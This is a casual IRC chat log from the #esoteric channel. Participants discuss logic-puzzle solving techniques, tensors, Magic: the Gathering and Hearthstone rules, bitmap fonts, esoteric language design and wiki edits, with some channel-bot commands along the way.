23:15:43 <tswett> They don't uniquely identify edges.
23:16:12 <oerjan> you might need an unlimited number of colors anyway.
23:16:48 <tswett> What if you're allowed to recolor edges, and also to delete edges and vertices and to join two vertices together along an edge?
23:17:12 <oerjan> god this monitor is awful
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23:31:18 <oerjan> as long as you make true + true = false = false + false
23:31:51 <oerjan> (spoiler: + should be xor)
23:49:51 <hppavilion[1]> oerjan: ^ is xor, but ⊤+⊥ will probably mean something
23:53:18 <hppavilion[1]> (But it's the logical xor, so it always returns a bool and accepts any boolable argument combination, whereas ^ is bitwise for ints and + will probably mean some other kind of xor)
23:53:46 <int-e> oerjan: hmm, that palisade puzzle is addictive
23:55:28 <int-e> 18x16 with regions of size 12 still works well
23:56:18 <int-e> 10x10 with regions of size 50 is kind of relaxing :)
23:56:38 * oerjan still on standard 15 x 10
23:57:33 <oerjan> of course that has to be the only one in the menu where the region size isn't a side length
23:58:31 <oerjan> i think it's fun when you pick up little tricks
23:59:00 <oerjan> like, if there is a choke point in the walls, you can tell which side it belongs to, by counting
00:00:32 <int-e> right, tedious, but it can help
00:00:34 <oerjan> hm wait it makes more sense to think of them as edges
00:03:52 <oerjan> and when you have a 1 cornering an edge where the other cornering edge is missing, you can deduce that the opposing edges of the 1 are also missing
00:08:15 <oerjan> that one is trickier to describe than to use
00:13:50 <int-e> that's one that also works in loopy
00:14:25 <hppavilion[1]> Is matrix multiplication defined for matrices generalized to an aribitrary number of dimensions?
00:14:30 <oerjan> it's more powerful in loopy, because you don't need to know the other cornering edge is missing, that also follows
00:14:44 <int-e> hppavilion[1]: there are tensors and tensor products, don't know details
00:15:57 <shachaf> not if you want to understand them, according to some people
00:16:26 <int-e> https://en.wikipedia.org/wiki/Tensor
00:16:59 <oerjan> but in loopy, you can also do it backwards, if the opposite edges of the 1 are missing, you can deduce that the other edge of the corner must be missing too.
00:17:37 <oerjan> that's not true in palisade, since a corner can have 3 edges.
00:18:11 <int-e> I know. In palisade, if you have two neighboring 3s, there must be a line in the middle; in loopy, you get two more forced lines from the same pattern...
00:19:33 <oerjan> int-e: i also know that. i think that was the first trick i found in palisade.
00:19:57 <oerjan> i also found that quickly for loopy, except for the two forced lines which took me a long time.
00:20:28 <oerjan> oh and it also generates to all other loopy geometries.
00:20:57 <oerjan> for example if you have a triangle with a 2 bordering a square with a 3, as in some.
00:21:35 <oerjan> it's one of the most useful rules that work deep inside loopy, far from the borders
00:22:31 <int-e> yeah loopy has way more patterns of that sort, because you have full parity to work with instead of just one excluded number of neighbours (namely, 1).
00:22:46 <int-e> number of neighbours -> degree
00:23:05 <int-e> (since the former is too ambiguous)
00:23:28 <int-e> anyway, sleep time
00:23:30 <oerjan> and it's fun in loopy when you can follow parity in a long path of unknown edges to deduce something at the other end
00:24:38 <oerjan> so i think loopy is still my overall favorite in the collection.
00:25:10 <int-e> loopy, btw, also has a sort of choke point property: any enclosed area must have an even number of edges going in and out; this is sometimes useful in Nikoli's challenge (slitherlink) puzzles.
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00:26:41 <oerjan> hppavilion[1]: i think for matrices, "dimension" usually refers to the number of rows and/or columns. for generalizing to more than two classes like "row" and "column" (i.e. tensors) the word is "rank".
00:27:09 <int-e> http://nikoli.com/swf/sl.swf?loadUrl=/nfp/sl-1269.nfp&lang=1 ... hmm.
00:27:23 <oerjan> hppavilion[1]: oops, actually it's "order", afawps
00:28:55 <int-e> I don't recall whether I used that parity property for that particular puzzle instance.
00:28:56 <oerjan> int-e: i've found that one two yes, it's the most global property i use (well, that + non-zero)
00:29:19 <int-e> right, non-zero is the more obvious of the too :)
00:31:14 <oerjan> hppavilion[1]: hmph confusingly they use dimension for the arrays of numbers representing the tensor.
00:31:47 <int-e> Oh, interest; Simon Tatham doesn't implement complete solvers for most of the puzzles...
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00:33:20 <oerjan> int-e: does that mean there's a limited difficulty level for them?
00:34:01 <oerjan> oh that link you gave requires flash and i've gotten to the habit of disabling it. ->
00:34:20 <shachaf> oerjan: as far as we possibly see?
00:34:58 <oerjan> as far as wikipedia says
00:35:51 <int-e> oerjan: in principle, yes; but he writes (in the documentation) that for many puzzles, since a computer is better at finding places where the simple techniques apply, people will resort to advanced techniques regardless.
00:36:05 <oerjan> oh nikoli's page doesn't have a way to mark lines as known empty
00:36:30 <int-e> oerjan: yes it does; click twice or shift-click
00:37:38 <int-e> and one thing you can do on nikoli but not in tatham's puzzles is that you can drag the mouse to draw several lines at once... so neither interface is perfect
00:38:40 <oerjan> shift-click is worse for my hands :(
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00:40:32 <oerjan> with my touchpad, neither of them can be completed in a single movement with each hand
00:43:22 * oerjan tries to use the dragging to make up for it
00:43:51 <oerjan> (the moar wasn't a typo, but the zzom was)
00:44:33 <shachaf> the new apple touch pad is pretty fancy
00:45:14 <shachaf> it feels like it clicks but it actually doesn't
00:45:39 <oerjan> wait why did i do that
01:14:29 <hppavilion[1]> I think I'll let users write polynomials (or a similar type of algebraic expression) in Kastor using a certain bracket pair
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01:41:00 <shachaf> those are often half-open intervals, i think
01:41:15 <shachaf> so you probably want [...) or [...[
01:42:28 <oerjan> i expect when they're sane, they're at least continuous at the end points.
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01:43:05 <lambdabot> http://www.efile.com/tax-service/tax-calculator/tax-brackets/
01:43:06 <lambdabot> Title: Federal Income Tax Brackets for 2015 and Other Tax Years
01:43:33 <oerjan> (they're not always sane, of course. astrid lindgren once toppled the swedish government by making public that her marginal tax was > 100%)
01:43:49 <oerjan> (at least that's how i like to interpret it.)
01:43:52 <shachaf> that says 10% for $1 - $9225 and 15% for $9226 to $37,450
01:44:09 <shachaf> so presumably that one dollar in the middle just isn't taxed
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01:46:53 <shachaf> why is tax law in the us so complicated
01:47:09 <shachaf> i recently had the pleasure of reading parts of the internal revenue code. it was great.
01:47:28 <shachaf> but of course even reading the code isn't enough, you have to go by precedent and so on
01:47:32 <oerjan> too many special interests?
01:52:55 <lambdabot> ‘pred’ (imported from Prelude), ‘pre’ (imported from Control.Lens)Not ...
01:53:11 <lambdabot> Not in scope: data constructor ‘IRS’
01:53:25 <lambdabot> Not in scope: data constructor ‘IRS’
01:53:44 <oerjan> well that would have shown the precedence.
01:59:19 <tswett> Are there any cards besides Panglacial Wurm that may result in a player following instructions on multiple cards simultaneously?
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02:07:02 <boily> QUINTHELLOPIAAAAAAAAAAA!
02:07:08 <boily> what have you aubergined?
02:16:08 <boily> THERE IS A PURPLE PAGE ON THE ESOWIKI. I AM SATISFIED :D
02:19:05 <boily> (incidentally, there's an UberGenes page too.)
02:19:59 <boily> (as there are funges and brainfuck derivatives, shouldn't there be auberginey languages? auberginals? eggplants?)
02:22:43 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45591&oldid=45563 * Boily * (+272) Add proglang template
02:23:45 <quintopia> i'm going to make a challenge on PPCG to write a Purple interpreter.
02:24:07 <quintopia> Can you imagine how short a Pyth implementation would be?
02:25:21 <boily> I should flash a 'duino with an aubergine VM or something ^^
02:26:35 <boily> (meanwhile, deep question on /r/showerthoughts: “Does a centaur suck milk from horse nipples or human ones?”)
02:34:01 * oerjan is starting to suspect int-e of having linked the same nikoli challenge puzzle that he did on a previous occasion
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02:34:15 <quintopia> "By the time they are old enough to reach human nipples, they should be weaning off"
02:34:16 <oerjan> the final stage gives me a deja vu feeling
02:34:55 <oerjan> <boily> (incidentally, there's an UberGenes page too.) <-- dammit, i only just got that
02:35:30 <oerjan> i suppose not being too backlogged to visit the page would have helped
02:35:52 <boily> I did an esowikiedit!
02:37:04 <boily> chelloppro. I ain't be lying.
02:37:20 <boily> WITNESS THE INFALLIBLE BACKLOG!
02:37:21 <oerjan> quintopia: i'd like to point out that human babies cannot reach human nipples either, without help
02:37:37 <boily> even as an adult, I can't reach my nipples.
02:37:52 <oerjan> boily: maybe you should get that looked at.
02:38:35 * boily likes the fact that he's alone in his apartment and nobody saw him try to lick his own nipple.
02:38:36 <quintopia> boily: i'm glad we agree the aubergine extension is .aub
02:42:10 <boily> you managed to plug 墨 in your font?
02:42:57 <shachaf> those are mathematical letters, aren't they
02:43:25 <\oren\> I made them taller than the equivalent hebrew letters
02:44:10 <\oren\> http://www.orenwatson.be/fontdemo.htm <- they are green
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02:56:06 <zzo38> tswett: In some cases there are mana steps (that includes in the process of casting a spell even if something else tells to cast it, or a payment for a triggered ability, or something else), so maybe there is other possibility too. (maybe)
02:56:34 <tswett> Yeah, that's true. Lots of cards result in you being able to activate mana abilities.
02:58:14 <zzo38> Some mana abilities also have other effects, such as sacrificing permanents or damaging you (and replacement effects may apply to this damage)
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03:10:48 <shachaf> oerjan: why am i playing this palisade game twh
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03:13:11 <oerjan> shachaf: perfectly crafted temptation hth
03:16:00 <\oren\> can I counter a spell by using an instant to destroy a land that my opponent needs in order to pay for it
03:16:47 <shachaf> Not if the land produces mana with a mana ability.
03:17:05 <shachaf> And it wouldn't be countering in any case.
03:25:40 <zzo38> Destroying a land does not counter its ability, and if it is a mana ability then it already resolves anyways. Also you can't cast instants during a mana step (there are no interrupts any more; in the old rules mana abilities were interrupts). Even so it can be tapped for mana in response to the destruction spell (if it is not already tapped)
03:26:23 <shachaf> What if there was an effect that said that mana is emptied from the mana pool each time something resolves?
03:26:55 <tswett> \oren\: no, because you don't get priority until your opponent has already paid it.
03:28:23 <zzo38> shachaf: No, the trigger just would go on the stack, I think
03:28:46 <tswett> shachaf: I think that would be a mandatory infinite loop, because it would trigger every time it resolves.
03:29:00 <shachaf> You could make it not be a triggered ability, I guess.
03:29:04 <zzo38> Yes, it would trigger itself too clearly
03:29:14 <zzo38> shachaf: Yes, such as a replacement effect I suppose?
03:29:40 <tswett> I guess you could use an intervening if. "Whenever a spell or ability resolves, if any player has mana in his or her mana pool, ..."
03:30:53 <zzo38> Yes I suppose that can be another way
03:33:20 <tswett> All right, what did I learn today? For the ability "Chameleon Colossus gets +X/+X until end of turn, where X is its power", X is determined when the ability resolves and that number persists.
03:33:43 <tswett> All the other game rule questions I got wrong were due to mistakes.
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03:53:21 <shachaf> oerjan: which size do you play
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03:53:48 <HackEgo> [wiki] [[User:Esowiki201529A/test link]] N http://esolangs.org/w/index.php?oldid=45592 * 103.3.98.227 * (+9432) Created page with " [[网站首页]] [[关于我们]] [[新闻中心]] [[产品展示]] [[在线留言]] [[联系我们]] 栏目分类 ..."
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03:58:09 <oerjan> shachaf: 15 x 12, size 8
03:58:34 <HackEgo> [wiki] [[User:Esowiki201529A/test link]] http://esolangs.org/w/index.php?diff=45593&oldid=45592 * 103.3.98.227 * (+619)
03:59:48 <oerjan> of course, it's in the type menu (for the standalone version, anyway, but i recall the online games have similar selections
04:00:06 <oerjan> there's also a Custom option
04:00:17 <shachaf> the online game has 15x12, size 10
04:01:37 <oerjan> hm a version where you have two different region sizes...
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04:04:01 <\oren\> maybe instead of fucking about with fread fseek ftell and fwrite I should use mmap
04:04:44 <\oren\> iirc theres a speed increase with mmap anyway
04:04:54 <oerjan> shachaf: int-e was doing 18 x 16, size 12
04:05:08 <oerjan> oh and 10 x 10, size 50
04:05:22 * oerjan only now realized what was weird about that one
04:05:52 <shachaf> is the weird thing that you have two regions or something else
04:06:26 * oerjan should try that and see how it works
04:06:28 <shachaf> to be fair, that wasn't a very good question
04:06:53 <oerjan> but first i must finish this one...
04:07:53 <oerjan> just 3 regions left but they're a bit evil
04:08:09 <oerjan> unless i'm missing something obvious as usual
04:08:22 <shachaf> how much backtracking do you need for this game
04:08:36 <oerjan> i never backtrack unless i make an error
04:08:42 <oerjan> well, not so far, anyway
04:09:34 <oerjan> in other words i haven't needed it yet
04:10:25 <oerjan> oh of course, i missed that those big open spaces were bordering
04:11:30 <oerjan> oh there were actually 4 regions left, i misestimated
04:12:44 <oerjan> now to the 2 region one. lots of 0s...
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04:17:11 <oerjan> well that was pretty easy
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04:30:57 <hppavilion[1]> Perhaps ⁅⁆ would be good for mathematical expressions?
04:50:20 <hppavilion[1]> I kind of need a set (well, class) marker to denote the surreals...
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05:09:40 <hppavilion[1]> So I'm adding an abstract builtin type "DIM" to Kastor that expresses a space, for example, the dimensions of a matrix
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05:30:01 <hppavilion[1]> So I've defined the operator ×, which accepts two integers (or another DIM and an integer, or two DIMs) and produces a DIM of the size m×n. You can, for example, raise an abstract set to the power of a DIM to get the matrix type
05:37:48 <hppavilion[1]> Hm... Generalizing modular arithmetic to ℂ (or more likely, the Gaussian integers) could be interesting
05:56:38 <hppavilion[1]> \oren\: Since no one's answering, I'm dragging you into this.
05:58:39 <hppavilion[1]> I just thought of something weird the syntax of Kastor allows you to do. \ followed by a name is the "anonymize" operator (though it's not so much an operator as a syntactic element, unless I change my mind); it takes a name and converts it to an anonymous name. Consider the expression "x = \x". That's valid Kastor.
06:01:06 <HackEgo> [wiki] [[TM operator]] N http://esolangs.org/w/index.php?oldid=45594 * Hppavilion1 * (+252) Created Page
06:03:01 <hppavilion[1]> (I just found neoletters is 1000000% easier to read if set to size 12, but a bit big)
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06:04:44 <hppavilion[1]> (Perhaps the TM operator should just delete the variable it is applied to and return its value)
06:20:12 <zzo38> I invented the "traitor scheming" variant of the Magic: the Gathering archenemy game.
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06:24:46 <zzo38> Another kind of game could be draft that includes planes
06:26:22 <\oren\> hppavilion[1]: it is meant for size 12 = 16 pixels
06:27:06 <\oren\> if you use a size that isn't a multiple of 16 pixels it won't look good at all
06:30:05 <\oren\> The annoying thing is on mac sixe 16 is the same size as 12 is on windows and linux
06:31:44 <\oren\> so for mac, 1px = 1pt while on windows 1px = 0.75pt
06:32:57 <shachaf> oerjan: i played a 10x10/50 game and it was perfectly divided with a straight line in the middle
06:38:07 <\oren\> yeah my font looks horrible at 8 pt
06:38:26 <oerjan> shachaf: i don't know, i've only played the one
06:40:00 <\oren\> size 6 is hard to read, but better than 8
06:41:40 <\oren\> I should put this info on my page
06:46:29 <hppavilion[1]> TIL that the phrase "best mathematical properties" is used on Wiki's page on numbers
06:46:57 <shachaf> Universal properties are the best.
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08:13:50 <hppavilion[1]> Ugh, I'm trying to include blackboard bold digits in Arithmetic of the Functia, but it looks like TeX doesn't allow that because Donald Knuth and the AMS are both assholes
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08:25:57 <zzo38> Then make your own font with METAFONT.
08:26:19 <hppavilion[1]> I just give up and I'm going to recommend people not use blackboard bold xD
08:26:26 <zzo38> You can look at the existing ones to see how it work and then make the font based on that one.
08:26:30 <hppavilion[1]> It was a nice idea, but it would only really serve to confuse in the end
08:27:04 <hppavilion[1]> zzo38: For the Arithmetic of the Functia, I figured that we can treat numbers as functions
08:27:29 <hppavilion[1]> Specifically, a number n can be treated as a function with one argument x that is defined as n*x
08:27:40 <hppavilion[1]> Which makes sense given the syntax 5(x) and the like
08:27:56 <zzo38> TeX allows you to use any font you want to as long as metrics in TFM format are available. (Clearly you will need glyphs as well, although TeX doesn't care about glyphs.)
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08:35:05 <hppavilion[1]> zzo38: Great. Now that I've defined that numbers our functions, along with dealing with allowing functions to be raised to the power of a number ( f**2(x)=f(f(x)) ), I think I need to define f**g and similar things xD
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08:39:45 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45595&oldid=45585 * Quintopia * (-10) /* Python 2 */ Oops how did that bug slip by.
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12:25:55 <izabera> http://web.cecs.pdx.edu/~trent/gnu/tcl-not stallman on tcl
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15:49:45 <tswett> @tell hppavilion[1] The idea behind Church numerals is that if C_n is the numeral for n, then C_n(f) is f**n. If you wanted to do this particular generalization, f**g would simply be g(f).
15:57:24 <tswett> Taneb: no no, "no" means "hi", so Phantom_Hoover was greeting you.
16:07:19 <lambdabot> from the context (Num a2, Num ((a -> a -> a) -> a2 -> t), Bits a)
16:07:19 <lambdabot> bound by the inferred type for ‘e_153’:
16:10:28 <\oren\> well, it determines that some operators are operators just because they are, while others must be surrounded by ``
16:11:03 <lambdabot> <hint>:1:5: parse error on input ‘^’
16:11:33 <myname> everything starting with a letter is a function
16:12:47 <lambdabot> Could not deduce (Integral b0) arising from a use of ‘^’
16:12:47 <lambdabot> bound by the inferred type of it :: Num a => a -> a
16:13:06 <lambdabot> <hint>:1:3: parse error on input ‘^’
16:13:40 <myname> ^ does not start with a letter, therefore ^ is an operator and needs infix notation
16:14:04 <myname> (operator) is a function and `function` is an operator
16:14:49 <lambdabot> <hint>:1:5: parse error on input ‘(’
16:14:50 <Jafet> Give me some $$, and I can make these parentheses... disappear!
16:15:48 <lambdabot> <hint>:1:8: parse error on input ‘)’
16:15:53 <tswett> Stuff made of letters is a function, stuff made of symbols is an operator.
16:16:19 <tswett> You can use `` on stuff made of letters and () on stuff made of symbols, but you can't combine the two... I guess.
16:20:32 <tswett> Stuff I learned. Copiable values are generally the values printed on the card; additional effects don't matter. If two identical replacement effects are trying to modify what happens to an object, the object's controller chooses which one wins. Also some complicated damage replacement thing.
16:21:54 <\oren\> so are you learning this by going over the rules, or by poring over official tournament game transcripts or what?
16:22:12 <tswett> By taking practice rules exams and looking at the ones I got wrong.
16:22:30 <tswett> Shock says: "If a source would deal damage to a creature or player, it deals double that damage to that creature or player instead." That's a replacement effect. There's also a replacement effect allowing the controller to redirect damage from a player to a planeswalker.
16:22:47 <tswett> The affected player chooses which replacement effect is applied first, in this case.
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16:25:54 <tswett> Funny thing about that neural net I've been training on #esoteric logs...
16:26:26 <tswett> It has learned that we frequently say "Magic: the [capitalized word]". It hasn't learned that that word is always "Gathering".
16:26:34 <FireFly> \oren\: functions are prefix by default, operators infix by default. `·` turns a function into infix, (·) turns an operator into prefix. that's all there is to it, really (where 'function' means identifier consisting of letters & digits, 'operator' means identifier consisting of symbols)
16:27:03 <tswett> So the neural net keeps producing stuff like "Magic: the Computer" and "Magic: the Imagination" and whatnot.
16:28:18 <FireFly> > [xor 5 3, 5 `xor` 3, (^) 5 3, 5 ^ 3]
16:31:15 <myname> how comes there is so few hearthstone talk here
16:31:44 <tswett> So, about Hearthstone.
16:31:49 <tswett> What are those solo adventures like, anyway?
16:32:04 <tswett> I wonder why they don't offer any kind of free trial for those.
16:32:33 <myname> i don't think so, but there's a shitload of youtube videos
16:32:49 <myname> younwant to purchase them sooner or later anyways
16:33:19 <myname> people are trying reno cobtrol shamans
16:33:31 <myname> i am pretry curious on how that will turn out
16:34:42 <myname> reno jackson is a new card. "if you don't have any card twice left in your deck, fully heal your hero"
16:36:39 <tswett> Now there's a card you probably wouldn't see in MTG.
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16:37:11 <tswett> What happens if you run out of cards in your deck?
16:37:48 <myname> on the first attempt to draw you lose one life
16:37:57 <myname> on the second, you lose second life
16:38:06 <myname> repeat until death occurs
16:38:49 <myname> so it is actually a viable strategy to make your opponent draw as much as possible
16:38:54 <FireFly> the second time you lose 2, to clarify
16:39:04 <FireFly> so the rate at which you lose life accelerates
16:39:29 <myname> said strategy is known as milling
16:39:55 <FireFly> I fought a rogue mill deck once, it was awful :(
16:40:13 <myname> mill druids are way nastier
16:40:35 <FireFly> Probably. I only played hearthstone for a bit, got tired of it
16:40:36 <myname> druids zave a card that says "destroy an enemy minion. your opponent draws a card"
16:41:09 <myname> i addition to those nasty murlocs that make you draw two cards
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16:48:49 <myname> i like that game a lot. the rules are simple, yet the game is challenging
16:49:02 <myname> and there's an android app
16:53:54 <b_jonas> wait, when did they errata Daru Stinger back to not a human?
16:54:32 <b_jonas> it became a human at Lorwyn, as I expected
16:55:11 <coppro> it was reverted because of the interaction with amplify
16:55:40 <coppro> I just googled "daru stinger update bulletin"
16:55:54 <b_jonas> now my Daru Stingers are worthless
16:56:01 <b_jonas> I can no longer use them with clerics
16:56:19 <b_jonas> not quite worthless, mind you, because I have made decks with practically nothing but soliders
16:56:37 <tswett> There's no trading in Hearthstone, right?
16:57:48 <b_jonas> I must have missed that update somehow. I usually try to read the update bulletins.
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17:04:11 <FireFly> I think they say it's to avoid unfair trades as well as creating an in-game economy, but I think it's just to encourage people to buy packs for real money
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17:18:22 <b_jonas> wait what… why is Benevolent Unicorn's ability phrased like that? Does it get around Everlasting Torment?
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17:43:36 <b_jonas> Right, when I browse my collection I understand why I like to play white so much. I have a ton of good white cards.
17:44:20 <b_jonas> I should buy good black and blue cards so I can build better decks of those too.
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17:47:12 <b_jonas> Yeah, with "Enchant Creature" and "Enchantment Creature" both appearing on the type line, it's not so easy to quickly separate creature cards from non-creature cards anymore. I have to be careful.
17:47:24 <b_jonas> Luckily I have almost no Enchantment Creatures … yet
17:50:18 <shachaf> b_jonas: imagine how confusing it would be if enchant meant creature
17:56:18 <b_jonas> shachaf: no, but "Summon" and "Summon Creature" mean creature
17:56:27 <zzo38> You could also try to play multicolors
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18:05:34 <\oren\> what if a cords type was Creature - Enchanter
18:10:16 <b_jonas> \oren\: M:tG has no Sorcerers
18:10:34 <b_jonas> ok wait, it does have sorcerers, by name
18:11:09 <b_jonas> but they have type Wizard or some other creature type
18:11:27 <b_jonas> also, there are enchanters and enchantresses by name
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18:14:10 <b_jonas> there are no landers though
18:14:54 <b_jonas> and no instanters under that name, although Teferi, Mage of Zhalfir is one
18:19:34 <zzo38> My opinion of improving rules of Magic: the Gathering, much is to make it more mathematically elegant. But I have a few others too
18:20:30 <tswett> They don't have Enchant Creature on the type line any more, do they?
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18:24:35 <zzo38> That is correct it doesn't.
18:24:54 <zzo38> There is no "enchant" type; "enchant" is a keyword ability.
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18:29:38 <b_jonas> tswett: they don't, but we don't have the guys from 1984 who replace the printed cards
18:34:52 <zzo38> Make deck of all five colours
18:35:32 <b_jonas> I don't have such a deck, but I do have a four-colored deck. I was thinking of modifying it to three colors though, but I'm not sure that's what I'll do.
18:36:50 <zzo38> Have you made up your own cards?
18:37:03 <zzo38> Have you made up cube for cube draft?
18:41:17 <lifthrasiir> \oren\: http://cosmic.mearie.org/tmp/font-sample I'm trying something like this
18:41:58 <lifthrasiir> I had my own bitmap font for a long time (not in general use but for occasional uses), but probably it is the first time I'm seriously trying to extend that
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18:45:19 <b_jonas> zzo38: no cube, and only very few own cards
18:45:48 <b_jonas> lifthrasiir: great, another bitmap font maker on esoteric
18:46:50 <\oren\> lifthrasiir: whoa, awesome!
18:49:33 <\oren\> holy crap, they're inline SVG's!
18:49:34 <Jafet> SVG, huh. Nice, except for the lack of hinting.
18:50:18 <Jafet> (...except that bitmap fonts aren't hinted)
18:51:00 <lifthrasiir> just for the initial testing (I really don't know how to make a TTF/OTF font :)
18:51:14 <zzo38> Bitmap fonts don't need hinted. However if something else is compiled into a bitmap font then hints should be used. (It is possible to do this with METAFONT)
18:51:31 <zzo38> b_jonas: I never made the cube either, but I made many cards; what card you make up?
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18:58:28 <b_jonas> zzo38: I made an enchantment that gives reverse protection, that is, everything else gets protection from the enchanted permanent. I don't remember the details, but it must cost {1U}.
18:58:55 <b_jonas> Yes, blue doesn't normally get protection cards.
19:02:10 <zzo38> Even recently I made up some more cards. One such card is: You can take two cards from your sideboard, opponent forces you to ante one of them, the other one is placed on top of your library.
19:03:08 <zzo38> Another card is: Look in opponent's sideboard for a nonbasic card, if you find one then exile top two cards of opponent's library and put the found card on top of their library.
19:04:05 <zzo38> It might be good in Limited, because they may have a few cards of the wrong color in their sideboard.
19:07:38 <b_jonas> zzo38: that's even better in a Conspiracy draft if you find a Conspiracy in the sideboard, although those are unlikely to occur in the sideboard
19:08:12 <zzo38> Actually my card does specifically say "traditional nonbasic nonconspiracy card", so you can't choose one of those.
19:08:47 <zzo38> (I did think of that!)
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19:22:48 <b_jonas> Have you designed any good creatures for {B}? I suffer from a lack of good creatures costing {B}. I should buy some.
19:23:54 <zzo38> I have cards costing {B} but no creatures.
19:24:11 <b_jonas> sure, there are lots of good instants and sorceries for {B}
19:24:13 <zzo38> If you can suggest something I will add it though.
19:25:01 <b_jonas> I can't design a good creature for {B} because I have to see examples for that first, and there's too few
19:26:45 <b_jonas> hmm, there's a dark twin of Child of Thorns called Fume Spitter. I need that. I have an irrational liking of Child of Thorns, despite that it's not a really good creature.
19:26:56 <zzo38> Name, subtype, power/toughness, and special abilities must be chosen. (You can optionally provide notes and/or flavor text which I will also add to my file.) Probably it could be 1/1 and have one special ability but what kind? I don't know!
19:27:38 <zzo38> Possibly with regeneration (at what cost?)
19:28:03 <b_jonas> I think I need Diregraf Ghoul too
19:30:07 <b_jonas> let's see. Plague Beetle and Prickly Boggart can't hurt too.
19:30:56 <zzo38> Even if I did design such card, you can't buy it; you would have to proxy it, and you need to agree to opponent what cards and other deck construction rules are legal; if you are making both decks by yourself this is less important but you should still show both decks to opponent to see how the game is being played, and switch deck afterward. And if you want to use proxies it is recommend to use card sleeves too.
19:32:20 <zzo38> (My own policy would be that if you wish to proxy you must write the full Oracle text of the card you wish to proxy; simply writing the name of the card isn't sufficient.)
19:32:35 <b_jonas> oh right, Smolder Initiate is a good one, I should buy that
19:33:01 <b_jonas> but the dark one is better of course
19:33:46 <b_jonas> Tormented Soul... nice, I need that
19:35:53 <b_jonas> Gnarled Scarhide seems reasonable
19:36:31 <b_jonas> Mardu Shadowspear is nice too
19:39:52 <b_jonas> yes, they don't print many nice creatures for {B}. no wonder I have so few.
19:46:56 <zzo38> Therefore make up such a card.
19:50:41 <zzo38> Maybe this way: 1/1 ;; {B}, Discard a card: Regenerate ~. Is that OK or something should be made difference?
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21:24:03 <zzo38> You can look at DVIPBM http://zzo38computer.org/prog/dvipbm.zip I have not yet added documentation and there are still some features I intend to add, but it does work now as is; I have used it with foo2zjs to print stuff!
21:26:52 <zzo38> You can tell me if you have the suggestion or other question or complaint
21:29:20 <zzo38> I believe currently it is only for Linux, although the only Linux-specific code is in popen_noshell.c so if you can write an implementation of that for other systems then you can probably use it on other systems too.
21:43:41 <J_Arcane> https://twitter.com/J_Arcane/status/668545293164683264
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22:28:52 <zzo38> Some of Magic: the Gathering cards I invented includes some strange thing that they have not done before, even more strange than some stuff in Time Spiral block
22:31:38 <b_jonas> shachaf: maybe that artifact that triggers in the cleanup step and does nothing?
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22:45:25 <shachaf> What was the text of that one?
22:50:21 <b_jonas> shachaf: dunno, find it in http://zzo38computer.org/textfile/miscellaneous/magic_card/cards.txt
22:54:30 <shachaf> `le/rn zzo38cards/http://zzo38computer.org/textfile/miscellaneous/magic_card/cards.txt
22:57:07 <b_jonas> but I'm not sure if that's the strangest card. zzo38 had designed quite a few strange cards.
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23:40:07 <quintopia> you never told me why you are a computer
23:40:14 <quintopia> nor why you create so many new pages
23:44:07 <hppavilion[1]> quintopia: The computer is because I had an HP when I created my first online account, and didn't want to forget my username
23:44:27 <hppavilion[1]> The 1 is because I wasn't feeling creative when I found that hppavilion was taken as a Minecraft username
23:44:45 <hppavilion[1]> The square brackets are because it looks like python and this is a programming channel
23:45:07 <hppavilion[1]> All the pages are because of some deep psychological flaw or something I am incapable of understanding
23:45:16 <shachaf> My first laptop computer was an HP Pavilion.
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23:45:32 <shachaf> I've also been at the HP Pavilion building in San Jose. But it looks like it's been renamed since then.
23:45:41 <shachaf> Actually I was only near that building, not in it.
23:45:44 <shachaf> Actually it's not even a building.
23:46:09 <shachaf> Apparently it's an indoor arena.
23:46:29 <quintopia> they call those pavilions sometimes
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23:47:23 <shachaf> Apparently HP paid >$3 million/year to name the place after hppavilion[1].
23:48:01 <hppavilion[1]> Sounds like something people would do based on me.
23:48:13 <quintopia> please add it to the wisdom shachaf
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23:49:48 <quintopia> `le/rn hppavilion[1]/HP pays $3.5m a year to name an arena in San Jose after him.
23:50:05 <boily> QUINTHELLOPIAAAAAAAAAAAAAAAAÁAAAAAAAAAA!
23:50:24 <quintopia> HELLOILYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY!
23:50:41 <boily> hppavellon[1]. you are now fit to be wisdommed.
23:51:49 <shachaf> quintopia: But they stopped doing it in 2013.
23:52:07 <quintopia> well i don't know how to change pays to paid
23:52:16 <quintopia> boily: are you expert eoughto edit wisdom
23:52:39 <shachaf> Also it's less than $3.1 million.
23:52:50 <shachaf> I mean that it's less than $3.5 million.
23:52:55 <quintopia> well that part doesn't have to be exact
23:53:00 <shachaf> It's $3.1 or $3.25 or $3.35 or something.
23:53:56 <boily> `` sed -i 's/pays/paid/' wisdom/hppavilion[1]
23:57:05 <boily> completely drained. did some volunteering at a boardgaming salon, fsvo some.
23:57:29 <lambdabot> *** "salon" wn "WordNet (r) 3.0 (2006)"
23:57:30 <lambdabot> n 1: gallery where works of art can be displayed
23:57:30 <lambdabot> 2: a shop where hairdressers and beauticians work [syn: {salon},
23:57:30 <lambdabot> {beauty salon}, {beauty parlor}, {beauty parlour}, {beauty
23:57:33 <lambdabot> 3: elegant sitting room where guests are received
23:57:42 <boily> animating special events, accueil, food, grilling panini, explaining games...
23:58:01 <boily> shachaf: "salon" is being used as a placeholder while I find a proper translation hth
23:58:03 <quintopia> shachaf: try a french dictionary hth
23:58:53 <boily> exposition, exhibition, fair?
23:59:36 <boily> I don't want to say convention.
23:59:36 <shachaf> in hebrew "salon" means "living room"
23:59:45 <boily> I think "fair" is the closest.
00:00:10 <boily> the most common meaning of fr:salon: is en:"living room".
00:00:17 * boily lends quintopia his mapole
00:00:27 <quintopia> i don't even remember what it looks like
00:00:34 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg.
00:00:44 <quintopia> is it like =================================
00:01:15 <boily> mostly, with a =====-_-´ bit for ærodynamism.
00:01:33 <quintopia> shachaf =======================(((j==
00:01:43 <boily> but yeah, yesterday I animated Pingo Pingo, while today I did Zombie 15.
00:01:49 <shachaf> something may have happened to your mapole
00:01:57 <shachaf> hopefully boily doesn't notice
00:01:59 <boily> (those were the special events)
00:02:31 <shachaf> boily: i played a board game called shachaf of nottingjam a few weeks ago
00:03:27 <boily> somewhat like a DM. setup, explanations, entertainment, catching thrown and shot game pieces...
00:03:50 <quintopia> i don't know either of those games
